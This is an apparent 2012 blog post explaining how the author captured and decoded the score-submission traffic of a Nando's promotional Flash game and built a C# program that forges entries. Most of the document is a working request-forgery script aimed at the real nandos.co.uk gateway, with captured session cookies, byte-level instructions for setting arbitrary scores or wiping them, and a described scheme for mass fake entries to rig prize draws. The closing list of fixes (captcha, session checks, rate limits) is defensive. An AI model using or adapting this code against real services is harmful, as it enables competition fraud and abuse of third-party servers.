newsz

test

test 3

Introduction & Reasons

As apart of a promotion between the 1st of September until the 31st of October 2012, the game allows students to win Nando's Gift Cards worth £600 - with three of them up for grabs, hence £1,800 of value. To win the prize, one must simply play the game and fill-in their details, with three random people selected by the closing date. I was sent this game by a friend after telling him that Adobe Flash games in competitions are often poorly written or/and secured, with him asking me to prove my point with this game.

The purpose of this article is to show you the methodology I used to enter fake details into the system (as well as wipe them), discuss strategies to secure a system against this attack and with the hope that **future developers learn something and do not repeat the same mistakes**. Even though this article is published during the competition, I doubt many people will read it; you're also legally liable for your own actions. I also believe the legality of my actions have been ethical, please contact me if you believe otherwise.

The score-board is also most likely being watched now, after my previous high-score of 38 million was removed recently - so it would be really stupid to misuse the knowledge from this article.

Step 1 - Reading & Understanding the Data Exchanged

The first step was to begin recording exchanged packet data between the client (my browser running this game) and the server (nandos.co.uk); this was accomplished by using Wireshark:

Next I began playing the game and kept a watch on Wireshark for activity, however no exchange of data occurred until the end of the game when I submitted my score:

If we look through the packets, we eventually find fragments of the data we just sent from the game:

The hex responsible for the header has been highlighted in red, with the hex for the data highlighted in green. From the header we can tell the request uses a HTTP/1.1 POST request, with the data sent to the host *nandos.co.uk* at the path */sites/all/modules/blonde/peripong/libs/amfphp/gateway.php* - this will be useful for step 2 later. Highlighted in green, we can see fragments of our score submission in the data area with our e-mail, university and name etc.

We can therefore assume the above data was used to submit our score. The thing we need to do next is begin decoding what the data means by taking each hex value/byte and checking what the character represents; to do this I used a Wikipdedia article on ASCII (American Standard Code for Information Interchange), which has a giant table of characters in many formats. The reason I assume the encoding uses ASCII is because Wireshark revealed chunks of the submitted data above, with the data only using one byte per a character.

Once we begin checking what the characters mean in the data area, a pattern becomes obvious:

I've put rectangles around areas:
- Red for unknown, we'll assume, header of the data.
- Yellow for unknown data.
- Brown for actual data we can recognize from the submission.
- Green for the function name.

The pattern we notice is that before each brown rectangle, data we recognize, there are three bytes/hex values: usually 02 00 {another here but it changes}, before being proceeded with data - time for research!

The data actually sent in the request seems to be encoded in application/x-amf, as we saw in the header earlier; a quick Google tells us AMF is an acronym for *Action Message Format* - a binary format used for serializing objects, with a Wikipedia page telling us about how the format is structured; therefore play.submit_score must be a function. But also the pattern before each piece of data comes before a string, and apparently 02 indicates a string parameter...but 00 means a number? Lets take a closer look at a piece of data:

If 00 indicates a number parameter, 04 (hex) means 4 (numerically); is it a co-incidence our data is four bytes in length? Therefore this mystery three byte pattern would indicate:
[02 for string] [00 for number] [length of string]

Now take a look at the previous image with all the data; we can take every piece of data e.g. johnny@derp.com is 15 characters, with the following pattern before it:
02 00 0f

Convert the last byte of 0f from hex to base 2 (a normal number), you'll get 15 - the same length as our e-mail! We now understand enough about how the data is encoded and we should be able to change the length of data. But what about our score?

I can't remember my original score, however below are the last line of bytes captured from the packet from the above capture and two new captures:
00 40 82 68 00 00 00 00 00 = unknown - old capture
00 40 85 88 00 00 00 00 00 = 689
00 40 88 00 00 00 00 00 00 = 768

This area is most likely our score since 00 indicates a number, and from trial and error I was able to confirm it by changing the two bytes after 00 to random hex values - which led to a new high-score of 38 million:

I also found changing 00 40 82 to 00 FF FF would also wipe my old scores. According to the Wikipedia article referenced above, numbers are encoded as doubles - hence eight bytes/64 bits (info). I have no idea how to convert numbers to double-points like this in C#, however this is something you could find out yourself, and possibly submit.

Step 2 - Emulating the Data Exchanged

We'll begin emulating by first copying the hex values for the packet from Wireshark; you can do this by right-clicking a packet, "Follow TCP Stream" and a new window will appear. Next click the *C Arrays* radio button and copy-and-paste the stream content to e.g. Visual Studio. You can emulate the data by writing out the entire packet yourself, however I found this method far easier.

Next we'll need to compile the data into a single byte-array, since the TCP stream for me was provided in two arrays - we'll need to split it up further later-on as well. I combined the byte arrays by using a List array, since it provides a ToArray method; therefore you could do e.g.:

```
int[] peer0 = new int[]{ 0x00, 0x02 };
int[] peer1 = new int[]{ 0x04, 0x05 };
List<byte> payload = new List<byte>();
addInts(ref payload, ref peer0);
addInts(ref payload, ref peer1);
byte[] payloadCompiled = payload.ToArray();



static void addInts(ref List<byte> bytes, ref int[] intarray)
{
    for (int i = 0; i < intarray.Length; i++)
        bytes.Add((byte)intarray[i]);
}
```

Next we'll need to send our payload; we can do this by importing **System.Net.Sockets** and using:

```
Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sock.Connect("nandos.co.uk", 80);
sock.Send(
    payloadCompiled
    );
```

Then we'll want to read the response from the server, to check our payload has been sent successfully:

```
int mainBufferSize = 819200; // The desired size of the buffer 800 kb
byte[] mainBuffer = new byte[mainBufferSize]; // The buffer to store the response from the target
byte[] buff = new byte[4096]; // Temporary buffer to receive small chunks at a time
int payloadSize; // The size of each chunk being received in each iteration
int currentOffset = 0; // Number of bytes received so far from the target
while ((payloadSize = sock.Receive(buff)) > 0) // Receive data from the target
{
    Console.WriteLine("Received chunk of " + payloadSize + " bytes...");
    // Check our main buffer won't overflow, else stop receiving data and inform us
    if (currentOffset + payloadSize > mainBufferSize)
    {
        Console.WriteLine("Overflow of " + (currentOffset + payloadSize) + " bytes!");
        break;
    }
    // Copy data from our temporary to main buffer
    Array.Copy(buff, 0, mainBuffer, currentOffset, payloadSize);
    currentOffset += payloadSize;
}
sock.Disconnect(true);
Console.WriteLine("Success!");
// Output the response to the debugging console
System.Diagnostics.Debug.WriteLine(
    System.Text.Encoding.UTF8.GetString(mainBuffer)
    );
```

Now you should be able to run your program, deliver your payload and get a response from the target; I recommend you run Wireshark to check your data is being sent correctly.

Step 3 - Complete Emulation

In-order to change data, you'll need to split-up the hex arrays into more smaller arrays; if you remember from step 1, each piece of data had three bytes before it:
[02 for string] [00 for number] [length of string]

For forename you could do:

```
string forename = "Johnny";
int [] peer0_3 = new int[] { 0x02, 0x00, (forename.Length)};
addInts(ref payload, ref peer0_3);
addText(ref payload, forename);

        static void addText(ref List<byte> bytes, string data)
        {
            foreach (char c in data)
                bytes.Add((byte)((int)c));
        }
```

You'll also need to modify the content-length of the packet; here is my complete program, demonstrating how to do that and all of the above:

```
namespace johnny_derp
{
    class Program
    {
        static void Main(string[] args)
        {
            // The below hex data was intercepted by Wireshark; we simply emulate it in this pro
            // to get our high-score!

            // Raw data from a request as a hex stream (two chars = hex value, hence split by tw
            // 00113b150709001fbc01a2890800450004cb2dab400080065ca60a0000103e952337fbef005053af
            // line 1: 0003000000010011 706c61792e737562
            // line 2: 6d69745f73636f72 6500022f31000000
            // line 3: 680a000000080200 0f6a6f686e6e7940 email
            // line 4: 646572702e636f6d 0200064a6f686e6e email forename
            // line 5: 7902000444657270 02000f[3031206a61] forename (1 char) surname (derp) dat
            // line 6: 6e75617279203139 3930020016556e69 date uni
            // line 7: 7665727369747920 6f66204162657264
            // line 8: 65656e0200043230 3132020003796573
            // line 9: 0040826800000000 00 <- score is encoded at col 2 and 3; set to FF FF to

            string email = "johnny@derp.com";
            string forename = "Johnny";
            string surname = "Derp";
            string dob = "01 January 1990";
            string university = "The Mudkipz University";
            string enrollment = "2012";
            string emailSubscribe = "yes";
            int totalBytes = 68 +
                email.Length +
                forename.Length +
                surname.Length +
                dob.Length +
                university.Length +
                enrollment.Length +
                emailSubscribe.Length
                ;
            System.Diagnostics.Debug.WriteLine("Length: " + totalBytes);
            System.Diagnostics.Debug.WriteLine((30 + (((totalBytes % 100) - (totalBytes % 10))
            System.Diagnostics.Debug.WriteLine((30 + (totalBytes % 10)));
            string hexScore1 = "\x99"; // 81 or FF
            string hexScore2 = "\x99"; // 84 or FF

            int[] peer0_1 = new int[] {
0x50, 0x4f, 0x53, 0x54, 0x20, 0x2f, 0x73, 0x69,
0x74, 0x65, 0x73, 0x2f, 0x61, 0x6c, 0x6c, 0x2f,
0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x73, 0x2f,
0x62, 0x6c, 0x6f, 0x6e, 0x64, 0x65, 0x2f, 0x70,
0x65, 0x72, 0x69, 0x70, 0x6f, 0x6e, 0x67, 0x2f,
0x6c, 0x69, 0x62, 0x73, 0x2f, 0x61, 0x6d, 0x66,
0x70, 0x68, 0x70, 0x2f, 0x67, 0x61, 0x74, 0x65,
0x77, 0x61, 0x79, 0x2e, 0x70, 0x68, 0x70, 0x20,
0x48, 0x54, 0x54, 0x50, 0x2f, 0x31, 0x2e, 0x31,
0x0d, 0x0a, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20,
0x77, 0x77, 0x77, 0x2e, 0x6e, 0x61, 0x6e, 0x64,
0x6f, 0x73, 0x2e, 0x63, 0x6f, 0x2e, 0x75, 0x6b,
0x0d, 0x0a,
0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63,
0x74, 0x69, 0x6f, 0x6e, 0x3a, 0x20, 0x6b, 0x65,
0x65, 0x70, 0x2d, 0x61, 0x6c, 0x69, 0x76, 0x65,
0x0d, 0x0a,

// c   o    n      t     e    n
0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
// t   -      l    e     n     g      t    h
0x74, 0x2d, 0x4c, 0x65, 0x6e, 0x67, 0x74, 0x68,
// :   sp    1      3    7  <-- keep 1, it wont ever change
0x3a, 0x20, 0x31, (48 + (((totalBytes % 100) - (totalBytes % 10)) / 10)), (48 + (totalBytes % 1
0x72, 0x69, 0x67, 0x69, 0x6e, 0x3a, 0x20, 0x68,
0x74, 0x74, 0x70, 0x3a, 0x2f, 0x2f, 0x6e, 0x61,
0x6e, 0x64, 0x6f, 0x73, 0x2e, 0x63, 0x6f, 0x2e,
0x75, 0x6b, 0x0d, 0x0a, 0x55, 0x73, 0x65, 0x72,
0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20,
0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f,
0x35, 0x2e, 0x30, 0x20, 0x28, 0x57, 0x69, 0x6e,
0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20,
0x36, 0x2e, 0x31, 0x3b, 0x20, 0x57, 0x4f, 0x57,
0x36, 0x34, 0x29, 0x20, 0x41, 0x70, 0x70, 0x6c,
0x65, 0x57, 0x65, 0x62, 0x4b, 0x69, 0x74, 0x2f,
0x35, 0x33, 0x37, 0x2e, 0x31, 0x20, 0x28, 0x4b,
0x48, 0x54, 0x4d, 0x4c, 0x2c, 0x20, 0x6c, 0x69,
0x6b, 0x65, 0x20, 0x47, 0x65, 0x63, 0x6b, 0x6f,
0x29, 0x20, 0x43, 0x68, 0x72, 0x6f, 0x6d, 0x65,
0x2f, 0x32, 0x31, 0x2e, 0x30, 0x2e, 0x31, 0x31,
0x38, 0x30, 0x2e, 0x38, 0x39, 0x20, 0x53, 0x61,
0x66, 0x61, 0x72, 0x69, 0x2f, 0x35, 0x33, 0x37,
0x2e, 0x31, 0x0d, 0x0a, 0x43, 0x6f, 0x6e, 0x74,
0x65, 0x6e, 0x74, 0x2d, 0x54, 0x79, 0x70, 0x65,
0x3a, 0x20, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x78, 0x2d,
0x61, 0x6d, 0x66, 0x0d, 0x0a, 0x41, 0x63, 0x63,
0x65, 0x70, 0x74, 0x3a, 0x20, 0x2a, 0x2f, 0x2a,
0x0d, 0x0a, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65,
0x72, 0x3a, 0x20, 0x68, 0x74, 0x74, 0x70, 0x3a,
0x2f, 0x2f, 0x6e, 0x61, 0x6e, 0x64, 0x6f, 0x73,
0x2e, 0x63, 0x6f, 0x2e, 0x75, 0x6b, 0x2f, 0x73,
0x69, 0x74, 0x65, 0x73, 0x2f, 0x61, 0x6c, 0x6c,
0x2f, 0x6d, 0x6f, 0x64, 0x75, 0x6c, 0x65, 0x73,
0x2f, 0x62, 0x6c, 0x6f, 0x6e, 0x64, 0x65, 0x2f,
0x70, 0x65, 0x72, 0x69, 0x70, 0x6f, 0x6e, 0x67,
0x2f, 0x50, 0x65, 0x72, 0x69, 0x50, 0x6f, 0x6e,
0x67, 0x32, 0x2e, 0x73, 0x77, 0x66, 0x0d, 0x0a,
0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x2d, 0x45,
0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x3a,
0x20, 0x67, 0x7a, 0x69, 0x70, 0x2c, 0x64, 0x65,
0x66, 0x6c, 0x61, 0x74, 0x65, 0x2c, 0x73, 0x64,
0x63, 0x68, 0x0d, 0x0a, 0x41, 0x63, 0x63, 0x65,
0x70, 0x74, 0x2d, 0x4c, 0x61, 0x6e, 0x67, 0x75,
0x61, 0x67, 0x65, 0x3a, 0x20, 0x65, 0x6e, 0x2d,
0x47, 0x42, 0x2c, 0x65, 0x6e, 0x2d, 0x55, 0x53,
0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x38, 0x2c, 0x65,
0x6e, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x36, 0x0d,
0x0a, 0x41, 0x63, 0x63, 0x65, 0x70, 0x74, 0x2d,
0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x3a,
0x20, 0x49, 0x53, 0x4f, 0x2d, 0x38, 0x38, 0x35,
0x39, 0x2d, 0x31, 0x2c, 0x75, 0x74, 0x66, 0x2d,
0x38, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x37, 0x2c,
0x2a, 0x3b, 0x71, 0x3d, 0x30, 0x2e, 0x33, 0x0d,
0x0a, 0x43, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x3a,
0x20, 0x53, 0x45, 0x53, 0x53, 0x38, 0x32, 0x66,
0x34, 0x63, 0x66, 0x64, 0x34, 0x62, 0x62, 0x36,
0x34, 0x39, 0x38, 0x33, 0x64, 0x66, 0x32, 0x61,
0x62, 0x62, 0x63, 0x66, 0x37, 0x39, 0x62, 0x65,
0x39, 0x64, 0x63, 0x30, 0x30, 0x3d, 0x66, 0x39,
0x30, 0x35, 0x63, 0x31, 0x64, 0x35, 0x36, 0x66,
0x37, 0x30, 0x65, 0x30, 0x62, 0x62, 0x38, 0x32,
0x35, 0x36, 0x37, 0x31, 0x62, 0x65, 0x35, 0x32,
0x33, 0x36, 0x66, 0x63, 0x36, 0x33, 0x3b, 0x20,
0x50, 0x48, 0x50, 0x53, 0x45, 0x53, 0x53, 0x49,
0x44, 0x3d, 0x38, 0x37, 0x32, 0x65, 0x65, 0x64,
0x37, 0x32, 0x32, 0x66, 0x33, 0x32, 0x35, 0x36,
0x33, 0x64, 0x39, 0x65, 0x34, 0x32, 0x65, 0x33,
0x33, 0x31, 0x39, 0x35, 0x63, 0x64, 0x64, 0x33,
0x63, 0x36, 0x3b, 0x20, 0x53, 0x45, 0x53, 0x53,
0x33, 0x38, 0x39, 0x66, 0x64, 0x62, 0x37, 0x31,
0x30, 0x34, 0x66, 0x63, 0x66, 0x63, 0x61, 0x63,
0x33, 0x30, 0x30, 0x62, 0x33, 0x38, 0x62, 0x64,
0x66, 0x39, 0x32, 0x39, 0x31, 0x37, 0x33, 0x35,
0x3d, 0x36, 0x36, 0x32, 0x64, 0x38, 0x34, 0x61,
0x62, 0x31, 0x65, 0x39, 0x61, 0x65, 0x31, 0x61,
0x35, 0x64, 0x34, 0x30, 0x63, 0x36, 0x34, 0x66,
0x66, 0x35, 0x31, 0x65, 0x36, 0x38, 0x61, 0x66,
0x62, 0x3b, 0x20, 0x68, 0x61, 0x73, 0x5f, 0x6a,
0x73, 0x3d, 0x31, 0x3b, 0x20, 0x6b, 0x69, 0x5f,
0x75, 0x3d, 0x63, 0x63, 0x66, 0x61, 0x39, 0x36,
0x34, 0x32, 0x2d, 0x34, 0x33, 0x62, 0x36, 0x2d,
0x64, 0x36, 0x35, 0x33, 0x2d, 0x33, 0x34, 0x31,
0x62, 0x2d, 0x32, 0x66, 0x39, 0x63, 0x34, 0x61,
0x63, 0x65, 0x35, 0x66, 0x35, 0x39, 0x3b, 0x20,
0x6b, 0x69, 0x5f, 0x74, 0x3d, 0x31, 0x33, 0x34,
0x37, 0x33, 0x38, 0x36, 0x35, 0x35, 0x39, 0x39,
0x32, 0x36, 0x25, 0x33, 0x42, 0x31, 0x33, 0x34,
0x37, 0x33, 0x38, 0x36, 0x35, 0x35, 0x39, 0x39,
0x32, 0x36, 0x25, 0x33, 0x42, 0x31, 0x33, 0x34,
0x37, 0x33, 0x38, 0x36, 0x35, 0x35, 0x39, 0x39,
0x32, 0x36, 0x25, 0x33, 0x42, 0x31, 0x25, 0x33,
0x42, 0x31, 0x3b, 0x20, 0x5f, 0x5f, 0x75, 0x74,
0x6d, 0x61, 0x3d, 0x32, 0x30, 0x38, 0x37, 0x39,
0x34, 0x35, 0x30, 0x39, 0x2e, 0x31, 0x30, 0x37,
0x31, 0x36, 0x32, 0x35, 0x34, 0x39, 0x38, 0x2e,
0x31, 0x33, 0x34, 0x37, 0x33, 0x38, 0x36, 0x32,
0x31, 0x39, 0x2e, 0x31, 0x33, 0x34, 0x37, 0x33,
0x38, 0x36, 0x32, 0x31, 0x39, 0x2e, 0x31, 0x33,
0x34, 0x37, 0x33, 0x39, 0x30, 0x31, 0x33, 0x32,
0x2e, 0x32, 0x3b, 0x20, 0x5f, 0x5f, 0x75, 0x74,
0x6d, 0x62, 0x3d, 0x32, 0x30, 0x38, 0x37, 0x39,
0x34, 0x35, 0x30, 0x39, 0x2e, 0x36, 0x2e, 0x31,
0x30, 0x2e, 0x31, 0x33, 0x34, 0x37, 0x33, 0x39,
0x30, 0x31, 0x33, 0x32, 0x3b, 0x20, 0x5f, 0x5f,
0x75, 0x74, 0x6d, 0x63, 0x3d, 0x32, 0x30, 0x38,
0x37, 0x39, 0x34, 0x35, 0x30, 0x39, 0x3b, 0x20,
0x5f, 0x5f, 0x75, 0x74, 0x6d, 0x7a, 0x3d, 0x32,
0x30, 0x38, 0x37, 0x39, 0x34, 0x35, 0x30, 0x39,
0x2e, 0x31, 0x33, 0x34, 0x37, 0x33, 0x38, 0x36,
0x32, 0x31, 0x39, 0x2e, 0x31, 0x2e, 0x31, 0x2e,
0x75, 0x74, 0x6d, 0x63, 0x73, 0x72, 0x3d, 0x28,
0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x29, 0x7c,
0x75, 0x74, 0x6d, 0x63, 0x63, 0x6e, 0x3d, 0x28 };


            int[] peer0_2 = new int[]{
0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x29, 0x7c,
0x75, 0x74, 0x6d, 0x63, 0x6d, 0x64, 0x3d, 0x28,
0x6e, 0x6f, 0x6e, 0x65, 0x29, 0x0d, 0x0a, 0x0d,
0x0a, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
0x11, 0x70, 0x6c, 0x61, 0x79, 0x2e, 0x73, 0x75,
0x62, // end of line 1
0x6d, 0x69, 0x74, 0x5f, 0x73, 0x63, 0x6f,
0x72, 0x65, 0x00, 0x02, 0x2f, 0x33, 0x00, 0x00,
0x00, // end of line 2
0x68, 0x0a, 0x00, 0x00, 0x00, 0x08, 0x02,
0x00, (email.Length) };

            // insert email here

            int [] peer0_3 = new int[] { 0x02, 0x00, (forename.Length)};

            // forename

            int[] peer0_4 = new int[] { 0x02, 0x00, (surname.Length) };

            // surname
            int[] peer0_5 = new int[]{ 0x02, 0x00, (dob.Length)};

            // dob

            int[] peer0_6 = new int[]{ 0x02, 0x00, (university.Length) };

            // university

            int[] peer0_7 = new int[]{ 0x02, 0x00, (enrollment.Length)};

            // year of enrollment

            int[] peer0_8 = new int[]{ 0x02, 0x00, (emailSubscribe.Length)};

            // email subscribe?

            int[] peer0_9 = new int[] { 0x00};

            // hex score values i.e. 0xFF 0xFF or 0x41 0x82

            int[] peer0_10 = new int[]{ 0x68, 0x00, 0x00, 0x00, 0x00, 0x00 };


            List<byte> payload = new List<byte>();
            addInts(ref payload, ref peer0_1);
            addInts(ref payload, ref peer0_2);
            // email
            addText(ref payload, email);
            addInts(ref payload, ref peer0_3);
            // forename
            addText(ref payload, forename);
            addInts(ref payload, ref peer0_4);
            // surname
            addText(ref payload, surname);
            addInts(ref payload, ref peer0_5);
            // dob
            addText(ref payload, dob);
            addInts(ref payload, ref peer0_6);
            // uni
            addText(ref payload, university);
            addInts(ref payload, ref peer0_7);
            // enroll
            addText(ref payload, enrollment);
            addInts(ref payload, ref peer0_8);
            // email
            addText(ref payload, emailSubscribe);
            addInts(ref payload, ref peer0_9);
            // hex score
            addText(ref payload, hexScore1);
            addText(ref payload, hexScore2);
            addInts(ref payload, ref peer0_10);

            Console.WriteLine("Connecting...");
            Socket sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolTyp
            sock.Connect("nandos.co.uk", 80);
            Console.WriteLine("Sending payload...");
            sock.Send(
                payload.ToArray()
                );
            Console.WriteLine("Waiting for response...");
            int mainBufferSize = 819200; // 800 kb buffer
            byte[] mainBuffer = new byte[mainBufferSize];
            byte[] buff = new byte[4096];
            int payloadSize;
            int currentOffset = 0;
            while ((payloadSize = sock.Receive(buff)) > 0) // We now receive data from the targe
            {
                Console.WriteLine("Received chunk of " + payloadSize + " bytes...");
                if (currentOffset + payloadSize > mainBufferSize)
                {
                    Console.WriteLine("Overflow of " + (currentOffset + payloadSize) + " bytes!"
                    break;
                }
                Array.Copy(buff, 0, mainBuffer, currentOffset, payloadSize);
                currentOffset += payloadSize;
            }
            sock.Disconnect(true);
            Console.WriteLine("Success!");
            // Output the response
            System.Diagnostics.Debug.WriteLine(

                System.Text.Encoding.UTF8.GetString(mainBuffer)
                );
        }
        static void addInts(ref List<byte> bytes, ref int[] intarray)
        {
            for (int i = 0; i < intarray.Length; i++)
                bytes.Add((byte)intarray[i]);
        }
        static void addText(ref List<byte> bytes, string data)
        {
            foreach (char c in data)
                bytes.Add((byte)((int)c));
        }
```

```
                }
            }
```

Implications & Resolutions

Such an attack could be used in a DDOS attack to put heavy strain on both the database and web server; plus if the table has an auto-incrementing primary key, the database could be spammed until the primary key's index is too large to generate any new records - again rendering the service unavailable. Someone could also use a domain, make their own e-mail server (which accepts any e-mails), spam the attack using a dictionary of names for fake e-mail addresses based at the owned domain and essentially enter a few thousand fake users; if the competition involves random draws, it's highly likely a fake user would be picked. Such attacks may seem far-fetched, but they're relatively cheap and could result in a major profit. For instance this competition involves £600 prizes, whereas other competitions in the past have offered brand-new computers worth a few thousand pounds; therefore a .com domain that costs only e.g. £8.39 from Godaddy (22/09/2012 at 09:17) per a year, which could be used for multiple competitions, is incredibly cheap if such an attack is successful at least once.

Very simple resolutions:

- Add a captcha verification image.
- Check the session cookie being sent; with the above attack, the session cookie would eventually be invalid and hence the request could be ignored if checked; you could still add code to get around this issue, but it wouldn't make the attack as easy.
- Require the user to be signed-in to an account, which has to be verified before being allowed to login; again an automated email server could automatically verify users, so a white-list could be enforced.
- Check the number of entries being submitted from an IP, with a threshold and automatic banning - again this is very simple and should have been implemented.

Tags: homepage

Published 23 minutes ago
15/10/2012 02:29:47 - Revision: 8